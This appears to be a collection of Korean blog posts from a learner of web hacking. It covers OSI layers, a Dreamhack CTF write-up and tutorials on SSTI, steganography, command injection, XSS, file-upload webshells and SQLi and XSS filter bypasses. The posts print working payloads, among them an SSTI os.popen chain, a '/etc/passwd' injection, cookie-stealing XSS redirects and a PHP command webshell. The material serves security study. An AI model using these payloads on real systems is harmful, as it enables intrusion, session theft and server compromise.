이상으로 글을 마치겠습니다 감사합니다

OSI 7계층

OSI(Open System Interconnection)은 다른 시스템 간에 원활한 통신을 위해 ISO(국제표준화기구)에서 제안한 통신 규약(Protocol)입니다.

(OSI 7계층이 없는 인터넷)

계층은 상위(7층)에서 하위(1층)로 순서대로 나열되며, 송신 시 7층에서 1층으로 데이터가 내려가고(캡슐화), 수신 시 1층에서 7층으로 올라가며 처리가 됩니다.

캡슐화란? 데이터를 송신할 때 상위 계층의 데이터에 해당 계층의 목적에 맞는 제어 정보(헤더, 트레일러)를 덧붙여 하위 계층으로 내려보내는 과정을 의미한다. (역캡슐화는 캡슐화의 반대 개념.)

-하위 : 물리 계층 - 데이터 링크 계층 - 네트워크 계층 - 전송 계층 -상위 : 세션 계층 - 표현 계층 - 응용

하위 계층

하위 계층은 송수신자 간의 실제 네트워크 연결을 구성하고 데이터를 안정적으로 전송하는 역할을 합니다.

물리 계층 (Physical Layer)

물리 계층은 전송에 필요한 두 장치 간의 실제 접속같은 전기 신호(0이나 1같은)를 전달하고 전달받는 물리적인 연결과 관련된 정보를 정의합니다.

데이터 단위 (PDU) : Bit (비트)

관련 장비 : 허브, 리피터, 케이블

데이터 링크 계층 (Data Link Layer)

인접한 네트워크 기기들 간에 신뢰성 있고 안정적인 데이터 전송을 돕는 역할을 합니다.

뭐, 데이터 '링크'니까 인접한 기기들의 신뢰, 안정적인 전송을 돕는거라고 생각하시면 됩니다.

데이터 단위 (PDU) : Frame (프레임)

관련 장비 : 스위치, 랜카드, MAC 주소

네트워크 계층 (Network Layer, 망 계층)

네트워크 계층은 발신지에서 목적지까지 데이터를 가장 안전하고 빠르게 전달하는 라우팅(Routing)과 IP주소 지정을 담당하는 계층입니다

'네트워크'는 안전하고 빠르니까 라우팅 역할을 하는 거라고 외우면 됩니다.

데이터 단위 (PDU) : Packet (패킷)

관련 장비 : 라우터, IP

전송 계층 (Transport Layer)

전송 계층은 최종 시스템 및 호스트 간의 데이터 전송 조율을 담당합니다 (조율자) 네트워크 계층이 정상적으로 잘 보내지는지 확인을 하는 역할입니다

데이터 단위 (PDU) : Segment (세그먼트)

관련 장비 : TCP, UDP

상위 계층

상위 계층은 사용자와 소프트웨어가 네트워크에 접근할 수 있도록 돕는 역할을 합니다.

(PDU는 항상 '데이터')

세션 계층 (Session Layer) (썩션)

세션 계층은 통신 세션을 설정하고 유지하며, 데이터 교환을 관리해주는 역할을 수행합니다

세션의 시작, 종료, 동기화 등을 처리하여 통신 세션을 안정적으로 관리합니다

또한 오류 복구 기능까지 지원해줍니다

데이터 단위 (PDU) : 데이터

관련 장비 : API, Socket, 동기화

표현 계층 (Presentation Layer)

응용 계층으로부터 받은 데이터를 세션 계층에 보내기 전 적당한 형태 앹로 변환하고,

세션 계층에 받은 데이터는 응용 계층에 맞게 변환하는 기능을 합니다. (응용/세션 발사대)

데이터 단위 (PDU) : 데이터

관련 장비 : JPEG, MPEG, 암호화

응용 계층 (Application Layer)

응용 계층(Application Layer)은 사용자가 OSI 환경에 접근할 수 있도록 서비스를 제공해주는 역할을 합니다.

웹 브라우저가 이 계층에 해당합니다. (크롬, 파.폭., 토르 등) 데이터 단위 (PDU) : 데이터

관련 장비 : HTTP, FTP, 이메일

이상으로 글을 마치겠습니다 감사합니다

Chess.com

https://dreamhack.io/wargame/challenges/2901

Chess.com입니다 정말 유명한 체스 사이트죠

import requests
from urllib.parse import urlparse
from difflib import SequenceMatcher
# 여기부터
def is_valid_attempt(url): # School Firewall
    if not url.isascii():
        return False
    if any(char.isupper() for char in url):
        return False
    if '%' in url:
        return False
    if not url.startswith("https://"):
        return False
    if "school" not in url.lower(): # Our school only allows domains about school.
        return False
    parsed = urlparse(url)
    domain = parsed.netloc
    if not domain.endswith('.com') or domain.split('.')[-1] != 'com':
        return False
    if 'school' not in domain:
        return False
    if parsed.username or parsed.password or "@" in url:
        return False
    if parsed.query:
        return False

    return True
# 여기까지가 중요함.

def get_html(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
    }
    try:
        response = requests.get(url, headers=headers, timeout=10)
        response.raise_for_status()
        return response.text
    except Exception as e: # Please wait if chess.com is offline.
        print(f"Error fetching {url}: {e}")
        return None

def compare_sites(original_url, target_url):
    original_html = get_html(original_url)
    target_html = get_html(target_url)

    if not original_html or not target_html:
        return

    normalized_target_html = target_html.replace(target_url.replace("https://", ""), original_url.replace("https://", ""))

    similarity = SequenceMatcher(None, original_html, normalized_target_html).ratio()

    if similarity > 0.98:
        print('Thank you! Now I can play chess.com in school!')
        with open('flag.txt') as f:
            flag=f.read()
            print('Flag is '+flag)
    else:
        print("No! This is not a chess.com!")

print('I want to play chess.com at school!')
target = "https://www.chess.com" # I want to access at this site!
attempt = input('Input the address : ').strip()

if is_valid_attempt(attempt):
    print('Accessing to chess.com...')
    compare_sites(target, attempt)
else:
    print("Blocked by school WAF.")

일단 저는 윈도우 WSL을 통해서 nc host3.dreamhack.games 명령어로 들어가봤습니다

I want to play chess.com at school! Input the address : potassium Blocked by school WAF.

이렇게 다음과 같이 위 코드의 전제 조건을 하나라도 불만족 했다면 "Blocked by school WAF." 이 나오는 것을 알 수 있습니다.

따라서 저희는 위 코드에서 만족하는 전제 조건을 전부 분석해서 어떠한 수단을 동원해서라도 Chess.com에 들어가야합니다.

def is_valid_attempt(url): # School Firewall
    if not url.isascii(): return False
    # url에 아스키 문자 X
    if any(char.isupper() for char in url): return False
    # url에 대문자 X
    if '%' in url: return False
    # url에 '%' 포함 X
    if not url.startswith("https://"): return False
    # 시작이 'https://'이여야함
    if 'school' not in url.lower(): return False
    parsed = urlparse(url)
    domain = parsed.netloc
    # '도메인' 안에 'school'이 포함되어야함. (#을 통한 우회 X)
    if not domain.endswith('.com') or domain.split('.')[-1] != 'com': return False
    # url 끝은 반드시 .com 이여야함. (#을 통한 우회 X)
    if 'school' not in domain: return False
    # 'school'이 반드시 포함되어야함.
    if parsed.username or parsed.password or "@" in url: return False
    # URL 내에 인증 정보(username 또는 password)가 포함된 경우 or URL 문자열 자체에 '@' 기호가 포함된 경우 X
    if parsed.query: return False
    # 쿼리 스트링(query)이 존재하는 경우 X
    return True #참끼얏호우

이렇게 다음과 같은 조건을 만족해야합니다

그래서 처음엔 별의 별 것들을 다 넣어봤는데 안되었고 chesschool.com 이라는 도메인이 아직 팔리고 있다는 사실만 알아냈습니다 (2026-06-23일 기준) (?)

아무톤톤간에

이 문제를 풀기 위해서는 chess.com의 CNAME을 알아야합니다

CNAME(Canonical NAME)은 '실제 본명(도메인)'에 닉네임(별칭)을 붙여주는 DNS 레코드 종류 중 하나, '도메인 별칭'이라고도 불린다.

chess.com은 어째서인지 다음과 같은 CNAME을 보유하고 있습니다

https://schoolschoolschool.com #학교학교학교.com
https://pleasedontblockchess.com #제발체스막지마셈.com
https://superhardalgebraproblems.com #매우어려운대수문제들.com (?)
https://justdoinghomework.com #걍숙제중.com
https://schoolnetworkadminsarethebest.com #학교인터넷관리자짱임.com (?)
https://plansformyfuture.com #이따할꺼.com
https://c4355.com #c4355.com
https://chezz.xyz #체즈.com
https://www.chesskid.com #체스꼬마.com

따라서 다음과 같은 도메인들을 방문해도 모두 Chess.com으로 연결되기에 위 조건을 모두 만족하는 도메인을 넣으면 됩니다 I want to play chess.com at school! Input the address : 。。。 Accessing to chess.com... Thank you! Now I can play chess.com in school! Flag is DH{ｓｅｃｒｅｔ}

평가 : (여러모로) 재밌는 문제.

SERVER SIDE TEMPLATE INJECTION이란?

서버 사이드 템플릿 인젝션은 웹 애플리케이션에서 발생하는 매우 위험한 취약점 중 하나입니다

SSTI는 단순한 데이터 유출을 넘어 서버 전체를 장악할 수 있는 RCE(Remote Code Execution, 원격 코드 실행)로 이어지는 경우가 많아 매우 치명적입니다

공격자가 서버의 템플릿 엔진에 악성 입력값을 주입하여, 서버가 이를 단순한 텍스트가 아니라 실행 가능한 코드로 인식하게 만드는 공격입니다

템플릿 엔진은 지정된 템플릿 양식과 데이터를 결합하여 HTML 문서를 출력하는 SW를 의미합니다.

정상적인 구조라면 개발자가 작성한 템플릿 틀 안에 사용자의 데이터가 삽입되어야 되는데 사용자가 입력한 값을 검증하지 않고 템플릿 문자열 자체로 처리할 때 취약점이 발생합니다.

(개발자 말 좀 들어라.png)

템플릿 엔진에 따라 코드가 다른데 Python Jinja2를 기준으로 설명할 것이니 참고하시길 바랍니다

@app.route('/render', methods=['POST'])
def vulnerable_render():

    template_input = request.form.get('template', '')
    result = render_template_string(template_input)

    return f'''
    <h2>렌더링 결과:</h2>
    <pre>{result}</pre>
    <a href="/">돌아가기</a>
    '''

위 코드의 경우에도 사용자 입력(template_input)을 검증 없이 받음과 동시에 render_template_string()으로 동적 템플릿 생성합니다

그러므로 공격자가 Jinja2 표현식을 삽입할 수 있는 취약점이 존재합니다

jinja2는 기본적으로 "{{ 내용물 }}" 의 기본 식별자를 사용하기 떄문에 공격자는 {{ 내용물 }}을 통해 기본적인 공격을 할 수 있습니다

{{self.__init__.__globals__.__builtins__.__import__('os').popen('etc').read()}}

위 코드는 ssti 공격을 할 때 사용되는 os.popen()을 이용한 페이로드입니다 하나하나 뜯어봅시다.

self : 현재 템플릿 컨텍스트 객체 .init : 생성자 메서드 (초기화 함수) 해당 함수로 그 모듈의 전역 변수들에 접근할 수 있습니다. .globals : 함수가 정의된 모듈의 전역 네임스페이스 (전역 변수 저장소) .builtins : Python 내장 함수 모음 모듈, 앞으로 사용할 공격 함수들이 내장되어 있습니다 .import('os') : 동적으로 모듈을 import하는 함수 (import os와 같은 의미) .popen('리눅스 명령어') *: 시스템 명령을 실행하는 함수 Linux명령어를 실행 *read() : 파일이나 스트림의 내용을 문자열로 읽는 함수

그 외에도 popen() 을 이용할 것 말고도 subproces()이나 eval()도 있지만 다음에 설명하겠습니다.

한번 배웠던 내용을 실습해봅시다 https://dreamhack.io/wargame/challenges/39

이상으로 글을 마치겠습니다 감사합니다

STEGANOGRAPHY이란❓❓❓

스테가노그래피는 넓게 잡아서 "비밀 메시지를 다른 일반적인 파일이나 데이터 안에 감쪽같이 숨기는 기술" 을 의미합니다

'감추어져 있다'는 뜻의 steganos와 '글을 쓰다'라는 뜻의 graphein이 합쳐진 말인데, 무언가를 암호화해서 알아보기 힘들게 만드는 걸 넘어 "여기에 비밀 정보가 있다는 사실 자체를 숨기는 것"이 핵심입니다.일반 암호학과 달리 주로 오디오나 이미지 등에 끼워넣어 암호문임을 알아채지 못하는 것이 차이입니다.

꼬운 놈 몇 개 골라보자면 공백(' ')와 탭('\t')을 이용해 이진코드를 만드는 화이트 스페이스 스테가노그래피나 혹은 이미지 스테가노그래피, 오디오 스테가노그래피 등이 존재하지만 그 중 이미지 스테가노그래피를 다뤄보겠습니다. (나머지는 언젠가?)

📸IMAGE STEGANOGRAPHY📸

여러분 이 이미지의 등장인물이 누군지 아십니까?

예...제 여친입니다.

하지만 제 여친 사진에 비밀이 하나 있습니다

비밀을 이미지 스테가노그래피를 통해 숨겼는데

이미지 스테가노그래피는 이미지의 확장자에 소스삼아 정보를 숨기는 기법입니다

SIGNATURE CODE👀

그 전에 시그니처 코드를 알아봅시다 시그니처 코드는 파일마다 가지고 있는 고유한 식별 데이터입니다.

MaG1c라고도 부르며, 확장자가 다르게 조작되었거나 손상된 파일의 원본 포맷을 확인할 때 사용됩니다 이런 식인데 사용한 툴은 링크타고 가셔서 알아서 해보시길 바랍니다 워게임 할 때 정말 요긴하게 사용될 겁니다.

아무톤톤간에. 위 이미지는 제가 가지고 있는 아무개씨 파일을 Hxd라는 툴을 사용해 열어봤습니다

여기서는 파일의 시그니처 코드가 다 보이는데, 시그니처 코드는 각각 헤더 시그니처와 푸터 시그니처로 구분됩니다 OS는 이를 보고 확장자를 판단합니다

헤더 시그니처는 확장자의 시작을 알리는 시1발점입니다 반대로 푸터 시그니처는 확장자의 끝을 알리는 종착점입니다.

📸IMAGE STEGANOGRAPHY📸

다시 돌아와서 이미지 스테가노그래피는 이미지에 특정 시그니처 코드를 반복적으로 넣어 숨기는 게 대표적입니다

특히 숨겨진 이미지는 다른 이미지에 비해 좀 더 용량이 무거운 특징이 있습니다.

(숨겨진 게 많으면 많을수록 용량은 위 이미지처럼 무거워집니다.)

이를 찾기 위해서는 이미지의 시그니처를 잘 살펴봐야하는데 특히 푸터 시그니처 끝에 뭔가 더 있으며 특정 헤드 시그니처가 보이면 146.47%확률로 스테가노그래피입니다.

예를 들어 이미지의 경우 png의 푸터 시그니처 파일이 있음에도 그 밑에 50 4B 03 04와 PK...이 있음을 보아 png 이미지에 숨겨진 .zip파일임을 알 수 있습니다.

이만 글을 마치겠습니다 감사합니다.

COMMAND INJECTION이란?

Command Injection (명령어를 주입하다) 은 해커가 웹사이트의 입력창에 운영체제(OS) 명령어를 주입하여 웹사이트 뒤에 있는 서버를 조작하고 무단으로 제어하는 대표적인 웹 해킹 기법을 말합니다

Command Injection은 명령어를 실행할 때 사용자가 임의의 인자를 전달할 수 있을 경우 발생됩니다

예를 들어 뭐 이딴 코드가 있다고 칩시다

#간단한 ping하는 코드
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/ping')
def ping():
    target_ip = request.args.get('ip')

    command = f"ping -c 1 {target_ip}"
    response = os.popen(command).read()

    return f"<pre>{response}</pre>"

if __name__ == '__main__':
    app.run(port=5000)

만일 정상적인 사용자가 사용한다면 간단히 ip주소를 입력하겠지만은 해커는 메타문자를 이용해 임의의 코드를 넣어 해킹을 합니다

8.8.8.8; cat /etc/passwd

이 경우 메타문자를 이용하여 바로 뒤의 코드까지 실행해 패스워드를 읽습니다

메타문자

메타문자(Metacharacter)란, OS의 cmd나 셸에서 단순한 글자가 아니라, 특별한 기능이나 의미를 갖도록 미리 약속된 특수문자를 말합니다

특히 cmd injection에서는 해커가 이 메타문자를 주입하여, 개발자가 의도한 원래 명령어의 흐름을 끊고 자신이 원하는 추가 명령어를 실행시키면서 발생합니다.

1. 명령어 연속 실행 및 조건부 실행

; (세미콜론 - 주로 Linux) : 앞의 명령어의 성공 여부와 상관없이 뒤의 명령어를 무조건 실행합니다

ping 8.8.8.8 ; whoami

& (앰퍼샌드 - Windows/Linux 공통) : 앞의 명령어를 백그라운드에서 실행하거나, Windows에서는 단순히 두 명령어를 이어 붙여 실행합니다

ping 8.8.8.8 & dir ($\rightarrow$ ping과 dir을 연달아 실행)

&& (더블 앰퍼샌드) : 앞의 명령어가 성공해야만 뒤의 명령어를 실행합니다.

|| (더블 파이프) : 앞의 명령어가 실패해야만 뒤의 명령어를 실행합니다.

2. 파이프와 리다이렉션

| (파이프) : 앞 명령어의 실행 '결과(출력)'를 뒤 명령어의 '입력'으로 전달합니다.

cat secrets.txt | grep "password" : 명령어의 결과를 화면이 아닌 파일로 저장합니다. (>는 덮어쓰기, >>는 이어쓰기)

echo "Hacked" > index.html

3. 기타

\n (줄바꿈) : 엔터 키를 친 것과 같은 효과를 줍니다. 눈에 보이지 않는 공백 같지만 시스템은 다음 줄의 명령어로 인식합니다.

` (백틱) : 괄호 안의 명령어를 가장 먼저 실행하고, 그 결과값을 바깥 명령어의 인자로 주입합니다.

이제 기초 여기까지고 좀 더 심화있게 가봅시다

...막상 드립 좀 치려니까 드립 칠 곳이 없었습니다 죄송합니다. 반성하는 의미로 여기에 짤 모음집을 싸지르겠습니다.

XSS WAF

말 그대로 XSS WAF는 공격을 막아주는 웹 방화벽을 의미합니다

보편적으로 패턴 매칭이라는 정적인 방법을 통해 거릅니다 예, 쉽게말해서 그냥 블랙리스트를 따로 만드는 겁니다.

keywords = ['Kilroy', 'was', 'here', 'and', 'or']

이런 식으로 따로 블랙리스트를 만들어 만일 사용자가 악의적인 스크립트를 집어넣게 된다면 필터링에 걸려서 방지하는 겁니다.

하지만 블랙리스트를 만들어도 특정한 방법을 통한 쌀먹도 가능합니다

대소문자 및 태그 변형

가장 고전적이지만, 미흡하게 설정된 WAF의 필터링을 무력화할 때 사용합니다

대소문자 혼용

<ScRiPt>alert(1)</sCrIpT>

재귀적 키워드 구성을 이용한 우회 SQLI WAF 처럼 단순히 그 단어를 공백이나 빈 문자("")로 치환하는 취약한 로직을 가질 경우 사용합니다

<scr<script>ipt>alert(1)</script>

이 경우에서도 중간에 script를 인식해 지워버릴지언정 그 사이 <scr과 ipt>가 붙어 하나의 script문으로 정상 작동합니다.

+[Tab]키를 통해서도 우회가 가능합니다

<scr    ipt>alert(1)</scr    ipt>

대체 태그 및 이벤트 핸들러 활용

대부분의 많은 waf가 script만 집중적으로 막는데 script문 없이도 가능합니다

이미지 및 미디어 태그 오동작 유도

<img src=x onerror=document.location.href="..."+document.cookie>
<video src=x onerror=document.location.href="..."+document.cookie;>

이렇게 존재하지 않는 경로를 지정해 일부러 에러를 내고 onerror를 실행시킵니다

SVG 태그 활용

<svg onload=document.location.href="..."+document.cookie>

화면이 열리자마자 바로 자바스크립트를 실행시킵니다

자바스크립트 문법 난독화

WAF가 alert, document 같은 주요 키워드를 탐지할 때, 자바스크립트의 유연한 문법을 활용해 단어를 쪼개거나 다른 방식으로 호출합니다.

대괄호 표기법

window['al'+'ert'](1);
window['eval']('al'+'ert(1)');
// eval : 문자열을 인자로 받아 그 문자열을 실제 실행 가능한 코드로 반환하는 함수 워게임에 자주 나옵니다

객체의 속성에 접근할 때 점(.) 대신 문자열 연산(+)이 가능한 대괄호를 씁니다

+만일 window까지 막은 경우에는 window에 접근 가능한 객체를 이용합니다

self.alert(1)

top.alert(1)

parent.alert(1)

동적 함수 생성

Function('al'+'ert(1)')();

eval마저 막혔을 때 (X발) 함수 생성자를 이용해 문자열을 실행 가능한 코드로 만듭니다.

문자 인코딩을 통한 우회

서버가 디코딩되는 과정의 허점을 이용한 우회 기법입니다

HTML Entity Encoding 많은 WAF는 <나 >를 그대로 찾는 경우가 많은데 이때, HTML Entity를 사용하면 우회되는 경우가 있습니다

<script>alert(1)</script>
//혹은
<script>alert(1)</script>

이렇게 하면 브라우저는 이를 "<script>"로 받아들입니다.

Unicode Encoding Javascript는 Unicode Escape를 지원합니다 즉,

\u0061\u006c\u0065\u0072\u0074(1)

이 썅1태로 난 코드가 alert(1)로 해석된다는 것이죠.

Hex Encoding 이 또한 가능합니다

\x61\x6c\x65\x72\x74(1)

alert(1)

+백틱을 이용해 우회할 수 있습니다 이 경우 괄호를 막은 경우에만 유효합니다

alert`1`

이 외에도 더 많은 XSS WAF 우회가 있기에 이 글은 앞으로도 업데이트될 예정입니다.

이상으로 글을 마치겠습니다 행복한 하루 되시길 바랍니다.

FILE UPLOAD INJECTION이란?

File upload injection (File을 주입하다) 는 해커 업로드할 수 있는 기능을 악용하여 서버에 악성 파일을 업로드하는 공격 기법을 말합니다

예를 들어 보안이 너무나 이상적인 사이트가 있다고 해봅시다

크아악..!.jpg
롤랑..!.png

크아악..!.php
롤랑..!.jsp
이%20새123기가..!.asp

이때 안에 들어있는 파일의 내용 중 악성코드가 포함되어 있으면 서버는 그걸 곧이곧대로 실행하게 되고 서버는 멘탈이 완전히 나가버립니다. 여기서 쓰이는 확장자의 경우 대부분의 워게임 사이트는 .php을 쓰지만 특정 사이트는 파이썬이나 jsp,js등을 쓰기도 합니다

참고로 앞으로 서술하게 될 File injection 관련 게시물들은 php파일을 기준으로 설명할 예정이니 유의하시길 바랍니다.

간단한 php

제가 워게임할 때 이용하는 php파일의 구조는 이런 형태입니다

<?php 
//<?php와 ?>의 경우 php파일을 실행시키기 위한 구문. 뭐, C언어의 중괄호 느낌?
//system 함수는 system 안에 들어있는 명령어(리눅스)를 실행시키겠다는 뜻.
    system('리눅스 명령어');
?>

system안에 파일을 읽을 때 간단하게 "cat ./파일명" 을 넣거나 혹은 cmd를 실행시키기 위해 "$_GET['cmd']" 을 넣기도 합니다

만일 작성에 성공했다?

그러면 해당 홈페이지의 url에 다음과 같은 형태로 찾을 수 있습니다 ./uploads/파일명.php

만일 cmd를 실행시킬려면./uploads/파일명.php?cmd='리눅스 명령어 입력'

더 딮♂다크하게 들어가서 특정 파일을 찾고 싶다면 요딴

파일명.php?cmd='find -name 파일이름같은거' 를 넣어 경로를 찾을 수 있습니다 (find 명령어의 와일드 카드 사용 가능.)

이제 기초 여기까지이고 좀 더 심화있게 가봅시다. 라뫼차 랜드 가기 : https://www.youtube.com/watch?v=EkRilpqXkYk

XSS이란?

XSS (Cross Site Scripting) 은 공격자가 취약한 웹사이트에 악성 자바스크립트 코드를 삽입하는 공격 기법입니다

만일 피해자가 해당 웹사이트에 방문하게 된다면 악성 스크립트 코드가 실행되어 쿠키나 세션 탈취 등의 피해가 발생됩니다

??? : 잠깐 Cross Site Scripting 이라면서 약자가 왜 XSS인?

뭐, 정석대로라면 CSS가 옳지만 이미 CSS라는 스타일시트 언어가 있기에 XSS라고 합니다 (Cross Site Scripting라 쓰고 XSS라 읽는다)

<?php
// 사용자가 URL 파라미터나 폼을 통해 'again' 값을 전달했다고 가정합니다.

$again = $_GET['name']; 
?>
<!DOCTYPE html>
<html>
<head>
    <title>ah_shit</title>
</head>
<body>
    <h1>here we go<?php echo $again; ?></h1>
</body>
</html>

앞서 위 코드는 XSS공격에 취약한 공격입니다

만일 일반 사용자가 평범하게 'again' 값을 넣으면 이렇게 됩니다

<h1>here we go again</h1>

하지만 악성 사용자가 다음과 같은 XSS공격을 시도하면 코드가 맛이 갑니다

<h1>here we go
<script>alert('유치원생한테 다털렸죠');</script>
</h1>

여기서 script 태그의 alert() 함수로 인해 위에 '유치원생한테 다털렸죠' 알림이 뜹니다.이것도 SQL INJECTION과 비슷하게 /h1태그가 나오기도 전에 먼저 선수를 치는 공격이라고 보시면 편합니다

이상으로 글을 마치겠습니다 감사합니다

SQL INJECTION WAF

SQLi WAF는 SQL Injection(SQL 인젝션) 공격을 막아주는 웹 방화벽을 의미합니다.

SQLi: SQL Injection (데이터베이스를 공격하는 기법) WAF: Web Application Firewall (웹 애플리케이션 방화벽) 보편적으로 패턴 매칭이라는 정적인 방법을 통해 거릅니다 예, 쉽게말해서 그냥 블랙리스트를 따로 만드는 겁니다.

keywords = ['Kilroy', 'was', 'here', 'and', 'or']

이런 식으로 따로 블랙리스트를 만들어 만일 사용자가 악의적인 쿼리문을 집어넣게 된다면 필터링에 걸려서 방지하는 겁니다.

하지만 블랙리스트를 만들어도 특정한 방법을 통한 쌀먹도 가능합니다

우우우 쌀쌀쌀

키워드 필터링 우회

특정한 키워드 필터링을 우회할 때 쓰입니다 예를 들어 'UNION','SELECT','OR' 따위 등이 필터링 된다면

그냥 'uNiOn'이나 'SelEcT', 'oR' 이딴 것들로 대소문자를 구분하지 않는 특성을 이용해 우회가 가능합니다

헌데 만일 .lower나 .upper가 있다면 그냥 대/소문자 중 하나로 완전히 퉁치겠다는 뜻이니 씨알도 안먹힙니다.

'or' 이나 'and'의 경우 or은 파이프 두 개 (||) , and는 앰퍼샌드 두 개 (&&) 로 대체가 가능합니다.

그 외에도 '='가 차단된다면 '='은 a like b 등의 like함수를 혹은 a in ('b')의 in 함수 쓰면 됩니다.

마지막으로 concat 함수를 통해서도 우회가 가능합니다 SELECT password... $\rightarrow$ SELECT CONCAT('pass', 'word')...

공백 및 특수문자 필터링 우회

말 그대로 공백 (' ')이 우회될 때 쓰입니다

주석을 이용해서 단어를 쪼개거나 UNION SELECT $\rightarrow$ UNION//SELECT UNION SELECT $\rightarrow$ UNION/**/SELECT

괄호를 활용해서 같은 의미의 문장을 만들거나 SELECT column FROM table $\rightarrow$ SELECT(column)FROM(table)

공백 대체 문자를 사용하면 됩니다 주로 탭(%09), 줄바꿈(%0a), 캐리지 리턴(%0d), 혹은 더하기 기호(+)를 사용해 공백이 필요한 사이사이에 낉이면 됩니다.

문자 인코딩을 통한 우회

문자를 인코딩해서 우회합니다

문자나 키워드를 %HEX 형태로 변환하거나 ' OR 1=1 -- $\rightarrow$ %27%20OR%201%3D1%20--

유니코드 및 다중 바이트 인코딩을 통해서 변환합니다 s $\rightarrow$ %u0073, e $\rightarrow$ %u0065 SELECT $\rightarrow$ %u0073%u0065%u006c%u0065%u0063%u0074

+만일 참값 (1=1) 이 막힌다면 True나 2-1, 0+1을 써보시길 바랍니다 mysql 내부적으로는 1=True 로 취급되기에 가능합니다

재귀적 키워드 구성을 이용한 우회

만일 WAF가 특정 키워드를 탐지했을 때, 단순히 그 단어를 공백이나 빈 문자("")로 치환하는 취약한 로직을 가졌을 경우 사용하는데

SELSELECTECT $\rightarrow$ 중간 SELECT가 치환 양옆의 SEL+ECT가 붙어 SELECT가 됨. UNIUNIONON, anandd, oandr 이런 식으로 우회가 가능합니다.

이 외에도 더 많은 SQLI WAF 우회가 있기에 이 글은 앞으로도 업데이트될 예정입니다.

한번 배웠던 내용을 실습해봅시다

• https://dreamhack.io/wargame/challenges/415
• https://dreamhack.io/wargame/challenges/6767
• https://dreamhack.io/wargame/challenges/416

이상으로 글을 마치겠습니다 감사합니다